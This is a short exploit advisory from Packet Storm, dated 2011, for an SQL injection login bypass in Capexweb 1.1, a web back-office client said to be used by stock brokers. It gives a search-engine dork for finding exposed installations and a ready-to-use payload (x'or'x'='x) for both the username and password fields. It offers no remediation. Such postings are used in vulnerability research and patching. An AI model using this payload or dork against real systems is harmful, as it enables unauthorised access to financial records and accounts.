Lucene search

K
packetstormD1rt3 Dud3PACKETSTORM:107939
HistoryDec 16, 2011 - 12:00 a.m.

Capexweb 1.1 SQL Injection

2011-12-1600:00:00
D1rt3 Dud3
packetstormsecurity.com
25
`# Exploit Title: Capexweb Sql Vulnerable  
# Date: 15 Dec 2011  
# Author: D1rt3 Dud3  
# Google Dork: inurl:capexweb  
# Gr33ts: Th3 RDX  
# Version: 1.1  
# Description: Capexweb is Web based Backoffice client used by leading Stock Exchanges like Berkeley Gains, angle broking house etc.  
  
http://localhost:8080/capexweb/capexweb/  
  
  
Log in details:  
Username: x'or'x'='x  
Password: x'or'x'='x  
  
-------------------------------------------------------------------------------"Indian"  
  
`